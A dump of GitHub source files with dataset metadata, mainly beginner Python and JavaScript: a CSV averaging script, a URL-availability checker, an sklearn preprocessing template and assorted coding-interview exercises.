[ { "alpha_fraction": 0.5452830195426941, "alphanum_fraction": 0.5490565896034241, "avg_line_length": 21.08333396911621, "blob_id": "c6f95d3690e9d4898f9c7f82be863832aa2c01d0", "content_id": "208c152202c00522505150c7970ffcebcbc39531", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 530, "license_type": "no_license", "max_line_length": 61, "num_lines": 24, "path": "/main.py", "repo_name": "khanbasil/cs102-hw03", "src_encoding": "UTF-8", "text": "import sys\nfrom statistics import mean\n\n\ndef main():\n assert len(sys.argv) > 1, \"No input file path specified.\"\n\n input_file_path = sys.argv[1]\n print(f\"Processing input file: {input_file_path}\")\n\n # TODO: Fill in the actual logic here!\n with open(input_file_path, \"r\") as f:\n for line in f:\n integers = line.split(\",\")\n catalog = []\n for c in integers:\n catalog.append(float(c))\n print(f\"{mean(catalog)}\")\n\n\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
1
joanrivera/vurls
https://github.com/joanrivera/vurls
267b5eb88fb34c97c53dc53abf62c7f2b81044d0
921a25a7aa68f3906f2e899d76fe74d5c7170afb
729612fcf612025e440c2c8a63873e818b52c79a
refs/heads/master
2020-05-23T07:51:13.973750
2017-01-30T21:25:51
2017-01-30T21:25:51
80,456,244
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5791691541671753, "alphanum_fraction": 0.591210126876831, "avg_line_length": 19.50617218017578, "blob_id": "73531656d731fd7ec4182b03dbc3292a6c055bf3", "content_id": "b1bc5fbb4f4b53137fe551af0ec49db17d512eb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1663, "license_type": "no_license", "max_line_length": 63, "num_lines": 81, "path": "/vurls.py", "repo_name": "joanrivera/vurls", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os, sys\n\nimport urllib.parse\nimport urllib.request\nfrom colorama import Fore, Style\nimport json\n\n\nurls = {}\n\npath = sys.argv[0]\nreal_path = os.path.realpath(path)\nappdir = os.path.dirname(real_path)\n\ndata_path = os.path.join(appdir, 'urls.json')\n\n\nwith open(data_path, 'r') as f:\n read_data = f.read()\n urls = json.loads(read_data)\n\n\ndef validar_url(url):\n \"\"\"Comprueba si una url está activa\n\n Args:\n url: La URL que se quiere comprobar\n\n Returns: true/false según el estado de la URL\n \"\"\"\n\n code = -1\n\n user_agent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64)'\n headers = {'User-Agent': user_agent}\n\n req = urllib.request.Request(url, None, headers)\n try:\n response = urllib.request.urlopen(req) \n code = response.getcode()\n except urllib.error.HTTPError as e:\n pass\n\n if code != 200:\n return False\n\n return True\n\n\ndef obtener_url(url):\n return urllib.urlopen(url).read();\n\n\ndef imprimir_url(id):\n if id in urls:\n print(urls[id]['url'])\n exit(0)\n\n exit(1)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n imprimir_url(sys.argv[1])\n\n print('Validando las URL de las depencencias')\n se_encontraron_errores = False\n for key in urls:\n url_cfg = urls[key]\n url = url_cfg['url']\n print(url_cfg['project'], end=' - ')\n if validar_url(url):\n print(Fore.GREEN + 'Ok' + Style.RESET_ALL)\n else:\n print(Fore.RED + 'Error: ' + Style.RESET_ALL + url)\n se_encontraron_errores = True\n if se_encontraron_errores:\n exit(1)\n" } ]
1
Ling-Hong/Data-Preprocessing-sklearn
https://github.com/Ling-Hong/Data-Preprocessing-sklearn
77aa04ae6739c8f0217d3e67e49ee047e46306d2
524d78dc3139aeb85074e42093ea9fbf213e3f5b
6df99222b5bd919c54b00eded736c70c6475d4c9
refs/heads/master
2020-03-20T08:31:02.448705
2019-06-11T19:19:18
2019-06-11T19:19:18
137,310,794
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7865168452262878, "alphanum_fraction": 0.7865168452262878, "avg_line_length": 43.5, "blob_id": "7136f77c2d2fb348c214d98446dd08b9e767d08a", "content_id": "0396d04bdb7291a468459cfeab9b479f22eb4e07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 89, "license_type": "no_license", "max_line_length": 67, "num_lines": 2, "path": "/README.md", "repo_name": "Ling-Hong/Data-Preprocessing-sklearn", "src_encoding": "UTF-8", "text": "# Data Preprocessing\nA template that can be used to prepare data for a model in sklearn.\n" }, { "alpha_fraction": 0.7290772795677185, "alphanum_fraction": 0.7376609444618225, "avg_line_length": 26.82089614868164, "blob_id": "956307fe21b8322824569637e09289eb1cca8f13", "content_id": "80f8539d59f1dd83895bf59e99b5687b1af848af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1864, "license_type": "no_license", "max_line_length": 88, "num_lines": 67, "path": "/template.py", "repo_name": "Ling-Hong/Data-Preprocessing-sklearn", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\n# Import the dataset\ndataset = pd.read_csv('Data.csv')\n\n# Convert column names into lower case\ndataset.columns = [x.lower() for x in dataset.columns]\n\n# Get X and y\nX = dataset.iloc[:,:-1].values #or iloc[:, :-1]\ny = dataset.iloc[:,-1].values \n\n# Deal with missing data\n'''\nreplace the missing data with the mean\n'''\nfrom sklearn.preprocessing import Imputer\n# build an instance from the class Imputer, set it up\nimputer = Imputer(missing_values='NaN', strategy='mean', axis=0)\n# only pull out the columns that have missing values\nimputer.fit(X[:, 1:3])\nX[:, 1:3] = imputer.transform(X[:, 1:3])\n\n\n# Encode the categorical variables\n'''\nfirst step: label encoding\nto convert string into numeric value\n'''\nfrom sklearn.preprocessing import LabelEncoder\nlabelencoder_X = LabelEncoder() \nX[:,0] = labelencoder_X.fit_transform(X[:,0])\n\n'''\nsecond step: dummy encoding\nto generate dummy variables\n'''\nfrom sklearn.preprocessing import OneHotEncoder\nonehotencoder = OneHotEncoder(categorical_features=[0])\nX = onehotencoder.fit_transform(X).toarray()\n\n'''\nsince the value of y is already numeric\nwe only need label encoder\na one-hot encoding of y labels should use a LabelBinarizer instead.\n'''\nlabelencoder_y = LabelEncoder() \ny = labelencoder_y.fit_transform(y)\n\n# Split the dataset into training set and test set\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=0)\n\n\n# Feature scaling\n'''\nimportance of feature scaling:\na lot of ML models are based on Euclidean distance\nthe distance will be dominated by feature that have a larger scale\n'''\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\n" } ]
2
virat4real/Voice-Assistant-
https://github.com/virat4real/Voice-Assistant-
2f93ba9ed2c5737cbb516da587bf15f7478d4718
03d398194e1bc6fb9315150aef74294828bc847f
7ba480fd1fbc2fc2c432b73c45ffea3220888df8
refs/heads/main
2023-04-08T13:48:07.736830
2021-04-17T14:20:02
2021-04-17T14:20:02
321,652,700
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5609304904937744, "alphanum_fraction": 0.5889505743980408, "avg_line_length": 30.247934341430664, "blob_id": "625119193daa193ccbd4bf6c6b8a20b2aafe5268", "content_id": "c0592c69e7a95e5b35ee1fed33acc550b919b863", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3783, "license_type": "no_license", "max_line_length": 99, "num_lines": 121, "path": "/main.py", "repo_name": "virat4real/Voice-Assistant-", "src_encoding": "UTF-8", "text": "import speech_recognition as sr\nimport pyttsx3\nimport datetime\nimport wikipedia\nimport webbrowser\nimport wolframalpha\n\nengine = pyttsx3.init()\n\nr = sr.Recognizer()\n\nmic = sr.Microphone()\n\n\ndef voice_parameter(i, j):\n voices = engine.getProperty('voices')\n engine.setProperty('voice', voices[i].id)\n rate = engine.getProperty('rate')\n engine.setProperty('rate', rate + j)\n\ndef firstoutput():\n voice_parameter(7, 10)\n engine.say('Hello, My name is Mike')\n engine.say('how may I help you?')\n engine.runAndWait()\n\n\ndef record():\n with mic as source:\n r.adjust_for_ambient_noise(source)\n print('speak')\n audio = r.listen(source)\n return audio\n\n\ndef convert(audio):\n try:\n input1 = r.recognize_google(audio)\n except:\n print('Sorry I am unable to understand what you said.')\n input1 = ''\n return input1\n\n\ndef process(input1):\n if 'how are you' in input1:\n output1 = 'I am doing great. How are you doing?'\n elif 'are you a human' in input1:\n output1 = '''No!. I am a voice assistant created by Sir.Virat Kota and Sir.Siddharth. \n I was created for helping humans.'''\n elif 'who are you' in input1:\n output1 = 'I am a voice assistant created by Virat Kota. I was created for helping humans.'\n elif '' == input1:\n output1 = 'I did not catch that'\n elif 'who are your creators' in input1 or 'who is your creator' in input1:\n output1 = '''Virat Kota have created me to help humans.'''\n elif 'what is your name' in input1:\n output1 = 'My name is Mike.'\n elif 'what is the time' in input1:\n output1 = datetime.datetime.now().strftime('%H:%M')\n elif 'google' in input1:\n input2 = 'https://www.google.com/search?q=' + input1\n webbrowser.open_new_tab(input2)\n output1 = 'searching in google for \\\"' + input1 + '\\\"'\n elif 'play a song' in input1:\n webbrowser.open_new_tab('https://open.spotify.com/playlist/4Qld8MoiinGP3X6hKhEyic')\n ouput1 = 'Opening Spotify'\n return ouput1\n elif 'open' in input1:\n input2 = input1.replace('open ', '')\n input3 = input2.replace(' ', '')\n input4 = 'https://www.' + input3 + '.com'\n webbrowser.open_new_tab(input4)\n output1 = input2 + \" is now open \"\n elif 'Wikipedia' in input1 or 'wikipedia' in input1:\n try:\n engine.say('Searching Wikipedia...')\n input1 = input1.replace('wikipedia', '')\n results = wikipedia.summary(input1, sentences=3)\n output1 = 'According to wikipedia ' + results\n except:\n output1 = 'Asked query not found in wikipedia'\n else:\n try:\n try:\n app_id = 'H44595-LV966663J2'\n client = wolframalpha.Client(app_id)\n res = client.query(input1)\n output1 = next(res.results).text\n except:\n results = wikipedia.summary(input1, sentences=3)\n\n output1 = 'According to wikipedia ' + results\n except:\n try:\n input2 = 'https://www.google.com/search?q=' + input1\n webbrowser.open_new_tab(input2)\n output1 = 'searching in google for \\\"' + input1 + '\\\"'\n except:\n pass\n return output1\n\n\ndef edit(output1):\n if len(output1) > 500:\n output1 = output1[:500] + '...'\n output1 = output1.replace('(', ' ')\n output1 = output1.replace(')', ' ')\n output1 = output1.replace(';', ' ')\n output1 = output1.replace('\\'', ' ')\n return output1\n\n\n\ndef voiceoutput():\n voice_parameter(7, 10)\n audio = record()\n input1 = convert(audio)\n output1 = process(input1)\n output1 = edit(output1)\n return output1\n\n\n" } ]
1
Bryce-Soghigian/Interview-Prep
https://github.com/Bryce-Soghigian/Interview-Prep
c2a0291e47b2fe2001270eb03de4a5f8bc605049
44ae8b3f75881d128069d230c092c6cd1b7bed2b
213a7061d09283afa8df0379e019e67ef451f4c2
refs/heads/master
2020-09-28T16:42:53.857456
2020-04-04T12:29:31
2020-04-04T12:29:31
226,817,408
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6150000095367432, "avg_line_length": 21.33333396911621, "blob_id": "b5cd2d91aa4ea083df3cec7575304feca9b518cf", "content_id": "e9a0d9107f7c75b66e247e6b6baa68fe676c3dd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 200, "license_type": "no_license", "max_line_length": 40, "num_lines": 9, "path": "/CodingChallenges/Leetcode/Contains_duplicate.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "//217 Contains Duplicate\nvar containsDuplicate = function(nums) {\n let set = Array.from(new Set(nums))\n if(set.length===nums.length){\n return false\n }else{\n return true\n }\n};" }, { "alpha_fraction": 0.52900230884552, "alphanum_fraction": 0.5452436208724976, "avg_line_length": 27.399999618530273, "blob_id": "0297fe847ec41e2f4155cc31dc6f550036a3a3d8", "content_id": "b21438eaa711fc5dab6d7ee7ae8250482dde12d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 431, "license_type": "no_license", "max_line_length": 63, "num_lines": 15, "path": "/AlgoExpert/twoSum.py", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "#0(nlog(n)) time | 0(1) space\n\ndef twoSum(arr,target):\n arr.sort()\n left = 0#start index\n right = len(arr)-1#end index\n while left< right:#condition for our modified binary search\n current = arr[left] + arr[right]\n if current == target:\n return [arr[left],arr[right]]\n elif current < target:\n left += 1\n elif current > target:\n right -= 1\n return []\n\n " }, { "alpha_fraction": 0.5007153153419495, "alphanum_fraction": 0.5261087417602539, "avg_line_length": 33.53086471557617, "blob_id": "f12502128c655187d833de16c9458a575866cce0", "content_id": "718c68f8db2d0c033a1b1a8d7715f5980f805324", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2796, "license_type": "no_license", "max_line_length": 92, "num_lines": 81, "path": "/CodingChallenges/Hackerrank/Arrays/2d-Arrays/Four_hourglasses.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "function hourglassSum(arr) {\n /*\n 1. Sort the arrays into their hourglasses\n 2. Reduce the hourglasses\n 3. Compare the results and return the largest\n \n \n */\n //Defining our four hourglasses\n let hour_glass_one = [];\n let hour_glass_two = [];\n let hour_glass_three = [];\n let hour_glass_four = [];\n //========INPUT============\n /*\n \n [1 ,1 ,1, 0 ,0 ,0]\n [0 ,1, 0 ,0, 0, 0]\n [1 ,1 ,1 ,0 ,0 ,0]\n [0 ,0 ,2 ,4 ,4 ,0]\n [0 ,0 ,0 ,2 ,0 ,0]\n [0 ,0 ,1 ,2 ,4 ,0]\n \n \n */\n //Loop through 2D array\n for(let i=0;i<arr.length;i++){\n for(let j = 0; j<arr[i].length;j++){\n //Push the first three values of each subarray into an hourglass arr\n // an hourglass can have a maxlength of 9 before having to move onto the next\n //Push arr[i][0] arr[i][1] arr[i][2] into an hourglass until the array reaches a\n //length of 9 once it reaches a length of 9 move onto another subarray.\n //==================Second half of subarrays=========================\n //Push arr[i][3] arr[i][4] arr[i][5] into the other hourglasses\n if((j===0||j===1||j===2)&&hour_glass_one.length<9){\n hour_glass_one.push(arr[i][j])\n }\n if((j===0||j===1||j===2)&&hour_glass_one.length === 9){\n \n hour_glass_two.push(arr[i][j])\n }\n if((j===3||j===4||j===5)&&hour_glass_three.length<9){\n \n hour_glass_three.push(arr[i][j])\n }\n if((j===3||j===4||j===5)&&hour_glass_three.length===9){\n hour_glass_four.push(arr[i][j])\n }\n }\n }\n hour_glass_two.shift();\n hour_glass_four.shift();\n \n \n //Reducing our four hourglasses\n const reducer = (accumulator, currentValue) => accumulator + currentValue;\n let test_arr =[1,2,3]\n console.log(test_arr.reduce(reducer),\"testing my reducer\")\n let glass_one_res = hour_glass_one.reduce(reducer)\n let glass_two_res = hour_glass_two.reduce(reducer);\n let glass_three_res = hour_glass_three.reduce(reducer);\n let glass_four_res = hour_glass_four.reduce(reducer)\n //Pushing results into an array we can sort\n let compare_array = [];\n compare_array.push(glass_one_res,glass_two_res,glass_three_res,glass_four_res)\n //Sorting results\n compare_array.sort((a,b) => a-b)\n //=======DEBUG AREA=========//\n console.log(\"FIRST\",hour_glass_one)\n console.log(\"second\",hour_glass_two)\n console.log(\"THIRD\",hour_glass_three)\n console.log(\"FOURTH\",hour_glass_four)\n console.log(\"compare_array === \",compare_array)\n \n \n //===========================\n //Returning highest value\n return compare_array[3]\n \n \n }" }, { "alpha_fraction": 0.5051813721656799, "alphanum_fraction": 0.5103626847267151, "avg_line_length": 20.5, "blob_id": "004baa0c9f77dd9e6f2eac3048668daac447660f", "content_id": "4cf032d8be4466f5fa3433ccd1367d9f2dc8a3c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 386, "license_type": "no_license", "max_line_length": 54, "num_lines": 18, "path": "/CodingChallenges/Leetcode/valid_palindrome.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "/**\n * @param {string} s\n * @return {boolean}\n */\nvar isPalindrome = function(s) {\n var r = s.toLowerCase().replace(/[^a-z0-9]+/g, '')\n r = r.replace(\"-\", \"\");\n let split = r.split(\"\")\n \n let reverse = split.reverse().join(\"\")\n console.log(reverse,\"reverse\")\n console.log(r,\"r\")\n if(r === reverse){\n return true\n }else{\n return false\n }\n }" }, { "alpha_fraction": 0.4506172835826874, "alphanum_fraction": 0.4722222089767456, "avg_line_length": 20.66666603088379, "blob_id": "ea42606e94002d120273cb83265cbd1699a7109f", "content_id": "dfd36413118583796006870fc006fbb52f4c0db7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 324, "license_type": "no_license", "max_line_length": 38, "num_lines": 15, "path": "/CodingChallenges/Hackerrank/Arrays/FirstRotate.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "//Rotate the first element to the left\nconst Rotate_Array_Left = (a,d) => {\n // let temp = [];\n // let length = a.length;\n let n = 0\n while(n<d){\n let first = a.shift();\n a.push(first)\n n++\n }\n return a\n \n }\n let array = [1,2,3,4,5]\n Rotate_Array_Left(array, 2)" }, { "alpha_fraction": 0.48917749524116516, "alphanum_fraction": 0.5151515007019043, "avg_line_length": 16.846153259277344, "blob_id": "b00ce7f2bb07378bd2f34f3d7aaf33198aec33a0", "content_id": "4126142262c6196d6042a1c672fba1159c6fb12e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 231, "license_type": "no_license", "max_line_length": 62, "num_lines": 13, "path": "/CodingChallenges/Hackerrank/Recursion_Problems/Recursive_fib.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "function fibonacci(n) {\n //Hit two base bases and recurse into a fibonacci sequence\n if(n===1){\n return 1;\n }else if(n===0){\n return 0\n }\n \n \n return fibonacci(n-1)+ fibonacci(n-2)\n \n \n }" }, { "alpha_fraction": 0.8201438784599304, "alphanum_fraction": 0.8273381590843201, "avg_line_length": 68.5, "blob_id": "cbce93a598602140964ceac26d268652fadccb86", "content_id": "56c05e1642f9f08882ba1b24f9ab2702e335dd7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 139, "license_type": "no_license", "max_line_length": 121, "num_lines": 2, "path": "/README.md", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "# Interview-Prep\nInterview Prep in Javascript. Will be going over algorithms data stuctures array methods es6 the this keyword everything.\n" }, { "alpha_fraction": 0.59375, "alphanum_fraction": 0.5965909361839294, "avg_line_length": 11.034482955932617, "blob_id": "e4d5cd8aa8aecae31ca25c9cc222bcdd9c3c3d10", "content_id": "b8d50c4bd7c38e5a3eaba4011f7c4c9ba45fbc6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 352, "license_type": "no_license", "max_line_length": 36, "num_lines": 29, "path": "/DataStructures/Queue/Stacks/Stacks.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "\nvar Stack = function() {\n //Init array\n this.elements =[]\n};\n\n\nStack.prototype.push = function(x) {\n this.elements.push(x)\n\n};\n\n\nStack.prototype.pop = function() {\nthis.elements.pop()\n\n};\n\n\n\n\nStack.prototype.empty = function() {\n if(this.elements.length === 0){\n return true\n }else{return false}\n};\n\n\n\n var stack = new Stack()\n\n\n" }, { "alpha_fraction": 0.4332129955291748, "alphanum_fraction": 0.46209385991096497, "avg_line_length": 20.384614944458008, "blob_id": "5d0ca79c2e7e00ebfd475e67f47a0cfbe4b67296", "content_id": "d28240aede48559ab53b150ffe48683f4a99cfe2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 277, "license_type": "no_license", "max_line_length": 37, "num_lines": 13, "path": "/CodingChallenges/Hackerrank/Hashmaps/Dictionaries/two_strings.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "function twoStrings(s1, s2) {\n let hashMap = {};\n for(let i = 0; i< s1.length;i++){\n hashMap[s1[i]] = true;\n }\n console.log(hashMap)\n for(let i=0; i<s2.length;i++){\n if(hashMap[s2[i]]){\n return \"YES\"\n }\n }\n return \"NO\"\n }" }, { "alpha_fraction": 0.49450549483299255, "alphanum_fraction": 0.523809552192688, "avg_line_length": 12.699999809265137, "blob_id": "d0547e16d1a5bf301fc8e325e9487e216b6235bd", "content_id": "dd3b2e4f16d634fc35de39414a17a2df432240c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 273, "license_type": "no_license", "max_line_length": 38, "num_lines": 20, "path": "/CodingChallenges/Leetcode/Find_nums_that_appear_twice.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "var findDuplicates = function(nums) {\n let result = []\nlet obj = {};\nfor(let i = 1; i < nums.length+1;i++){\n obj[i] = 0\n}\n\nnums.forEach(num => {\n obj[num] += 1\n})\n\n\nfor(let i = 0; i < nums.length;i++){\n if(obj[i+1] == 2) {\n result.push(i+1)\n }\n}\nreturn result\n\n};" }, { "alpha_fraction": 0.5694444179534912, "alphanum_fraction": 0.6203703880310059, "avg_line_length": 14.5, "blob_id": "f3fad8811c79cc85b5e40d9000dc641205f754a0", "content_id": "4ec4d2b2a32a0514203a858bfd187fa031a88e3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 216, "license_type": "no_license", "max_line_length": 32, "num_lines": 14, "path": "/Algorithms/Sorting/SortTest.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "let arr = [1,8,5,3,2,7,87,13]\n\nconst sort = (array) => {\nlet counter = 0\nlet new_arr = []\nwhile(counter !== array.length){\n let value = Math.max(array)\n new_arr.push(value)\n counter++\n}\nreturn new_arr\n}\n\nsort(arr)" }, { "alpha_fraction": 0.5070754885673523, "alphanum_fraction": 0.5165094137191772, "avg_line_length": 18.31818199157715, "blob_id": "2852658cac85c985a462afe9be59b61f5b9a72fe", "content_id": "270c340f7293fa656101ccee42617aec7f9579e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 424, "license_type": "no_license", "max_line_length": 54, "num_lines": 22, "path": "/CodingChallenges/Hackerrank/Warmup/SockMerchant.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "function sockMerchant(n, ar) {\n /*\n Each sock can only be paired with one other sock.\n keep looping through the array searching for pairs\n once you find a match increment the total pairs \n \n \n \n */\n ar = ar.sort()\n console.log(ar)\n let total = 0;\n for(let i = 0;i<ar.length;i++){\n if(ar[i]===ar[i+1]){\n total++\n i=i+1\n }\n }\n return total;\n \n \n }" }, { "alpha_fraction": 0.577464759349823, "alphanum_fraction": 0.577464759349823, "avg_line_length": 19.428571701049805, "blob_id": "92727560a42ba571ddcbd0985ac0ba0ea1e3c350", "content_id": "f7569e5ffe1ab9b68be432e373377db82b8de5e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "no_license", "max_line_length": 32, "num_lines": 7, "path": "/DataStructures/Queue/Queue.py", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "class Queue:\n def __init__(self,value):\n self.queue = []\n\n def enqueue(self,value)\n self.queue.append(value)\n def deque" }, { "alpha_fraction": 0.6717171669006348, "alphanum_fraction": 0.6717171669006348, "avg_line_length": 17, "blob_id": "c942835357bf73de575cb91ee448d900ab596b09", "content_id": "668c76de10862edf08c218ba3f071d3c729cc5d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 198, "license_type": "no_license", "max_line_length": 50, "num_lines": 11, "path": "/AlgoExpert/Pal.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "function isPalindrome(string) {\n\n\tif(string.split(\"\").reverse().join(\"\")===string){\n\t\t return true\n\t\t }else{\n\t\treturn false\n\t}\n}\n\n// Do not edit the line below.\nexports.isPalindrome = isPalindrome;\n" }, { "alpha_fraction": 0.6134564876556396, "alphanum_fraction": 0.6358839273452759, "avg_line_length": 17.487804412841797, "blob_id": "89573f43e262f71fa026283dacee1f83a9c475fb", "content_id": "6faa0384ba821db43c61199c93d61cde10ac2b2c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 758, "license_type": "no_license", "max_line_length": 64, "num_lines": 41, "path": "/Algorithms/Searches/BinarySearch.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "//Generating Example sorted array to search through\nlet newArr = [];\nfor(let i=0;i<12424010;i++){\n newArr.push(i)\n}\nconsole.log(newArr.length)\n\nconst BinarySearch = (ar,target) => {\nlet low = 0;\nlet high = ar.length - 1;\n\n//==============While Loop==================//\nwhile(low <= high){\n/*\nhere we are finding if middle is before or after the target. \nif its before we \n\n*/\nlet middle = Math.floor((low + high) / 2);\nconsole.log(middle,\"new middle\")\nif(target>ar[middle]){\n\n low = middle++\n console.log(\"low value\",low)\n}\nif(target<ar[middle]){\n\n high = middle--\n console.log(\"high value\", high)\n}\nif(middle===target){\n\n return console.log(\"found our target which equals ===\",target)\n}\n}\n}\nBinarySearch(newArr,50000)\n/*\nTime Complexity O(log(n))\n\n*/\n" }, { "alpha_fraction": 0.4261501133441925, "alphanum_fraction": 0.4382566511631012, "avg_line_length": 19.600000381469727, "blob_id": "aaace482f66aec1fea544ddb20d0507c10cf0134", "content_id": "6f218e6a9b2c49c93189c894b7b396a557510a67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 413, "license_type": "no_license", "max_line_length": 39, "num_lines": 20, "path": "/CodingChallenges/Dupes.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "function findDuplicates(str) {\n\tconst dupes = [];\n arra1 = str.toLowerCase().split(\" \");\n var object = {};\n\n arra1.forEach(function (item) {\n if(!object[item])\n object[item] = 0;\n object[item] += 1;\n });\n\n for (var prop in object) {\n if(object[prop] >= 2) {\n dupes.push(prop);\n }\n }\n\n return dupes;\n\n}\n\n" }, { "alpha_fraction": 0.422839492559433, "alphanum_fraction": 0.4444444477558136, "avg_line_length": 24, "blob_id": "6ebdd02ec497689d7f6e5570c66cc6438ad999b3", "content_id": "60456517dd84844ccf8c93785e6992e279518e0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 324, "license_type": "no_license", "max_line_length": 40, "num_lines": 13, "path": "/CodingChallenges/Leetcode/Find_single_num.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "var singleNumber = function(nums) {\n let set = new Set();\n for(let num of nums){\n if(set.has(num)){\n set.delete(num)\n }else{\n set.add(num)\n }\n }\n return Array.from(set)[0]\n };\n singleNumber([2,2,1,4,4])//Returns 1\n //Linear time" }, { "alpha_fraction": 0.3746630847454071, "alphanum_fraction": 0.38409703969955444, "avg_line_length": 26.518518447875977, "blob_id": "2b11bb16379bf4d1f2da7b3713249ef38a7fc1fe", "content_id": "b3b5e8919d8c65bb7350ca5a63455b02dcfca4aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 742, "license_type": "no_license", "max_line_length": 50, "num_lines": 27, "path": "/CodingChallenges/Leetcode/Search_A_Matrix.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "var searchMatrix = function(matrix, target) {\n let concat = [];\n for(let i = 0;i<matrix.length;i++){\n let inner = matrix[i]\n for(let j = 0; j< inner.length;j++){\n concat.push(matrix[i][j])\n }\n }\n concat.sort((a,b) => {\n return a-b\n })\n var guess,\n min = 0,\n max = concat.length -1;\n while(min <= max){\n guess = Math.floor((min + max)/2);\n if(concat[guess]===target){\n return true\n }else if(concat[guess]< target){\n min = guess +1\n }else{\n max = guess -1 \n }\n }\n return false\n \n };" }, { "alpha_fraction": 0.6700611114501953, "alphanum_fraction": 0.6741344332695007, "avg_line_length": 21.31818199157715, "blob_id": "ce894a7bdef01df08c888eeafcaafb101f3111d7", "content_id": "1f4e67d4226a6680a578b1eb47514d642242d408", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 491, "license_type": "no_license", "max_line_length": 74, "num_lines": 22, "path": "/AlgoExpert/two_num_sum.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": "function twoNumberSum(array, targetSum) {\n\tarray.sort((a,b) => a-b)//Sorting so we can make a modified binary search\n\tlet left = 0\n\tlet right = array.length - 1;\n\twhile(left<right){\n\tlet current_value = array[left]+ array[right];\n\t\tif(current_value == targetSum){\n\t\t\treturn [array[left],array[right]]\n\t\t}else if(current_value<targetSum){\n\t\t\tleft++\n\t\t}else if(current_value>targetSum){\n\t\t\tright--\n\t\t}\n\t}\n\treturn []\n\t\n\t\n\n}\t\n\n// Do not edit the line below.\nexports.twoNumberSum = twoNumberSum;\n" }, { "alpha_fraction": 0.5707316994667053, "alphanum_fraction": 0.5707316994667053, "avg_line_length": 16.16666603088379, "blob_id": "4d3f90eb7f63d42c6b6ba4f3d71b32f5105d0163", "content_id": "e5d86754b40ddd0629f93314d565577bd826199a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 205, "license_type": "no_license", "max_line_length": 32, "num_lines": 12, "path": "/CodingChallenges/Hackerrank/LinkedLists/PrintAllNodes.js", "repo_name": "Bryce-Soghigian/Interview-Prep", "src_encoding": "UTF-8", "text": 